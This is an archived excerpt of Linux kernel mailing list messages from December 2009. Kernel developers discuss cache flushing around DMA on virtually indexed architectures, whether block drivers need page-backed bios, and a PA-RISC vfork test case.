Message-ID: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
 <20091217173957.GG2123@thunk.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1261072349 32396 80.91.229.12 (17 Dec 2009 17:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:52:29 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: tytso@mit.edu
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 17 18:52:20 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKWH-0003fr-IV
	for glka-linux-arch@lo.gmane.org; Thu, 17 Dec 2009 18:52:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751009AbZLQRwI (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 12:52:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751440AbZLQRwI
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 12:52:08 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:34255 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750753AbZLQRwB (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 12:52:01 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHHpBC9007761
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 17 Dec 2009 09:51:12 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHHpAM9009292;
	Thu, 17 Dec 2009 09:51:11 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091217173957.GG2123@thunk.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.95 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4896 gmane.linux.ports.parisc:2452 gmane.linux.kernel:929286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2452>



On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> 
> Sure, but there's some rumors/oral traditions going around that some
> block devices want bio address which are page aligned, because they
> want to play some kind of refcounting game,

Yeah, you might be right at that.

> And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> don't have access to, so just because it works Just Fine on SATA doesn't 
> mean anything.
> 
> And none of this is documented anywhere, which is frustrating as hell.
> Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> systems".

ACK. Jens? 

		Linus

From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+lkml@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 18:08:03 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20091217180802.GA1546@flint.arm.linux.org.uk>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain> <20091217170743.GA10431@infradead.org> <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261073327 3533 80.91.229.12 (17 Dec 2009 18:08:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 18:08:47 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 19:08:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKmC-0002m5-Og
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 19:08:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765096AbZLQSIg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 13:08:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765297AbZLQSIg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 13:08:36 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:60678 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765096AbZLQSIc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 13:08:32 -0500
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=CImV7VkSykGxlvQ6XhJpQfhHD0pE7yXxye/IYO+qKdY=; b=ifpLj
	A8CWLk1Wh6ad52hzpdoNTrSaj3MBc75S9L5D9abRp6fMHr76Lk2w4F4fV3pKShxU
	dSpIDLcrJOxKeKRmfR3HL0tOjMNOJ6rBjhKY36YdnYxG4kkttO3rFaLKWXxJ3XMC
	+IrGGMRDuUOBZBeYUycgIgbqXMHjDz+Hj2+CIw=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1NLKli-0001ua-EK; Thu, 17 Dec 2009 18:08:06 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1NLKlg-0001mG-0j; Thu, 17 Dec 2009 18:08:04 +0000
Mail-Followup-To: Linus Torvalds <torvalds@linux-foundation.org>,
	Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2453 gmane.linux.kernel:929297 gmane.linux.kernel.cross-arch:4897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2453>

On Thu, Dec 17, 2009 at 09:42:15AM -0800, Linus Torvalds wrote:
> You both flush the virtual caches before 
> the IO and invalidate after - when the real pattern should be that you 
> flush it before a write, and invalidate it after a read.

That's not entirely true.  If you have write back caches which are not DMA
coherent, you need to as a minimum:

- on write, clean the cache to ensure that the page is up to date with data
  held in cache.

- on read, you must ensure that there are no potential write-backs before
  the read commenses and invalidate at some point.

The point at which you invalidate depends on whether the CPU speculatively
prefetches:

- If it doesn't, you can invalidate the cache before the read, thereby
  destroying any potential writebacks, and the cache will remain
  unallocated for that address range until explicitly accessed.

- If you do have a CPU which does prefetch speculatively, then you do
  need to clean the cache before DMA starts, and then you must invalidate
  after the DMA completes.

Invalidating after DMA completes for the non-speculative prefetch just
wastes performance, especially if you have to do so line by line over
a region.

With ARM architecture version 7, we now have ARM CPUs which fall into
both categories.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 10:17:03 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0912171016430.15740@localhost.localdomain>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
 <20091217170743.GA10431@infradead.org> <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain> <20091217180802.GA1546@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1261073878 5494 80.91.229.12 (17 Dec 2009 18:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 18:17:58 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Russell King <rmk+lkml@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 19:17:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKuw-00071T-Jp
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 19:17:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935222AbZLQSRh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 13:17:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935097AbZLQSRh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 13:17:37 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:37674 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934997AbZLQSRf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 13:17:35 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHIH4hN009754
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 17 Dec 2009 10:17:05 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHIH3WJ010663;
	Thu, 17 Dec 2009 10:17:04 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091217180802.GA1546@flint.arm.linux.org.uk>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.95 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2454 gmane.linux.kernel:929306 gmane.linux.kernel.cross-arch:4898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2454>



On Thu, 17 Dec 2009, Russell King wrote:
> 
> That's not entirely true.  If you have write back caches which are not DMA
> coherent, you need to as a minimum:
> 
> - on write, clean the cache to ensure that the page is up to date with data
>   held in cache.
> 
> - on read, you must ensure that there are no potential write-backs before
>   the read commenses and invalidate at some point.

Right you are.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <andi@firstfloor.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 19:45:55 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <87zl5hsal8.fsf@basil.nowhere.org>
References: <20091216043618.GB9104@hera.kernel.org>
	<20091217132256.GO28962@bombadil.infradead.org>
	<alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
	<20091217163036.GE2123@thunk.org>
	<20091217171025.GB10431@infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261075617 13293 80.91.229.12 (17 Dec 2009 18:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 18:46:57 +0000 (UTC)
Cc: tytso@mit.edu, Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 19:46:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLLNB-0001Jx-DI
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 19:46:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936652AbZLQSqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 13:46:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S936702AbZLQSqI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 13:46:08 -0500
Original-Received: from one.firstfloor.org ([213.235.205.2]:33264 "EHLO
	one.firstfloor.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S936694AbZLQSp5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 13:45:57 -0500
Original-Received: from basil.firstfloor.org (p5B3CB46B.dip0.t-ipconnect.de [91.60.180.107])
	by one.firstfloor.org (Postfix) with ESMTP id 760581A98007;
	Thu, 17 Dec 2009 19:45:56 +0100 (CET)
Original-Received: by basil.firstfloor.org (Postfix, from userid 1000)
	id 0AD76B160D; Thu, 17 Dec 2009 19:45:56 +0100 (CET)
In-Reply-To: <20091217171025.GB10431@infradead.org> (Christoph Hellwig's message of "Thu, 17 Dec 2009 12:10:25 -0500")
User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.3 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2455 gmane.linux.kernel:929318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2455>

Christoph Hellwig <hch@infradead.org> writes:

> On Thu, Dec 17, 2009 at 11:30:36AM -0500, tytso@mit.edu wrote:
>> That's because apparently the iSCSI and DMA blocks assume that they
>> have Real Pages (tm) passed to block I/O requests, and apparently XFS
>> ran into problems when sending vmalloc'ed pages.  I don't know if this
>> is a problem if we pass the bio layer addresses coming from the SLAB
>> allocator, but oral tradition seems to indicate this is problematic,
>> although no one has given me the full chapter and verse explanation
>> about why this is so.
>
> Actually at least iscsi now has a workaround for that by checking for
> PageSlab.  Back when we deal with the XFS issue that check was only
> available with debug options enabled.  I tried to sort it out by
> agreeing with the block and iscsi folks that either

DRBD has the same workaround as well:

        if (disable_sendpage || (page_count(page) < 1) || PageSlab(page))

But it seems like a gross hack to me. Perhaps this should be 
passed as some sort of BIO attribute?

-Andi

-- 
ak@linux.intel.com -- Speaking for myself only.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 20:12:42 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <4B2A82AA.10907@gmx.de>
References: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261077185 19712 80.91.229.12 (17 Dec 2009 19:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 19:13:05 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 20:12:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLLmL-0005zX-MV
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 20:12:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965340AbZLQTMt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 14:12:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S965319AbZLQTMt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 14:12:49 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56142 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S965321AbZLQTMs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 14:12:48 -0500
Original-Received: (qmail invoked by alias); 17 Dec 2009 19:12:46 -0000
Original-Received: from p4FDB2727.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.39]
  by mail.gmx.net (mp067) with SMTP; 17 Dec 2009 20:12:46 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18AE+RX5VQA02tG0BuAitBb7tqxhOQEJp7iNkDxDq
	jm0UtKINJad/S/
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2456>

On 12/16/2009 10:35 PM, John David Anglin wrote:
>> On 12/15/2009 11:21 PM, John David Anglin wrote:
>>>> I have constructed a vfork test case which shows some of the problems
>>>> I have using vfork reliably. This fails every time on my PA8700 system
>>>> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>>>> being corrupted.
>>>
>>> The test doesn't fail on two of my builds:
>>> Linux mx3210 2.6.31.7 #5 Wed Dec 9 22:49:53 EST 2009 parisc64
>>> Linux hiauly6 2.6.31.7 #18 Wed Dec 9 21:34:36 EST 2009 parisc
>>
>> I did tested your testcase on my c3000 too but it didn't failed for me either.
>> This was on some 2.6.32-rc candidate.
>
> I think it must be because Carlos is building SMP kernels.

I couldn't reproduce on my SMP box either (but it's PA8500 instead of PA8700):
cpu             : PA8500 (PCX-W)
model           : 9000/785/J5000
Linux ls3017 2.6.32-32bit #79 SMP Thu Dec 3 14:04:53 CET 2009 parisc GNU/Linux

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Axboe <jens.axboe@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 20:36:48 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20091217193648.GI4489@kernel.dk>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain> <20091217173957.GG2123@thunk.org> <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261078620 24682 80.91.229.12 (17 Dec 2009 19:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 19:37:00 +0000 (UTC)
Cc: tytso@mit.edu, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 20:36:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLM9b-0001r8-C3
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 20:36:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965454AbZLQTgu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 14:36:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S965453AbZLQTgu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 14:36:50 -0500
Original-Received: from 0122700014.0.fullrate.dk ([95.166.99.235]:38897 "EHLO kernel.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S965440AbZLQTgt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 14:36:49 -0500
Original-Received: by kernel.dk (Postfix, from userid 1000)
	id D7EA137A092; Thu, 17 Dec 2009 20:36:48 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2457 gmane.linux.kernel:929346 gmane.linux.kernel.cross-arch:4899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2457>

On Thu, Dec 17 2009, Linus Torvalds wrote:
> 
> 
> On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > 
> > Sure, but there's some rumors/oral traditions going around that some
> > block devices want bio address which are page aligned, because they
> > want to play some kind of refcounting game,
> 
> Yeah, you might be right at that.
> 
> > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > don't have access to, so just because it works Just Fine on SATA doesn't 
> > mean anything.
> > 
> > And none of this is documented anywhere, which is frustrating as hell.
> > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > systems".
> 
> ACK. Jens? 

I've heard those rumours too, and I don't even know if they are true.
Who has a pointer to such a bug report and/or issue? The block layer
itself doesn't not have any such requirements, and the only places where
we play page games is for bio's that were explicitly mapped with pages
by itself (like mapping user data).o

We fix driver crap like that, we don't work around it. It's a BUG.

-- 
Jens Axboe

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 15:39:02 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440912171239hf2ecc6fq86795f100a1e3fbc@mail.gmail.com>
References: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca>
	 <4B2A82AA.10907@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261082358 5554 80.91.229.12 (17 Dec 2009 20:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 20:39:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 21:39:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLN7u-0004rN-DS
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 21:39:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764057AbZLQUjJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 15:39:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764096AbZLQUjJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 15:39:09 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:53187 "EHLO
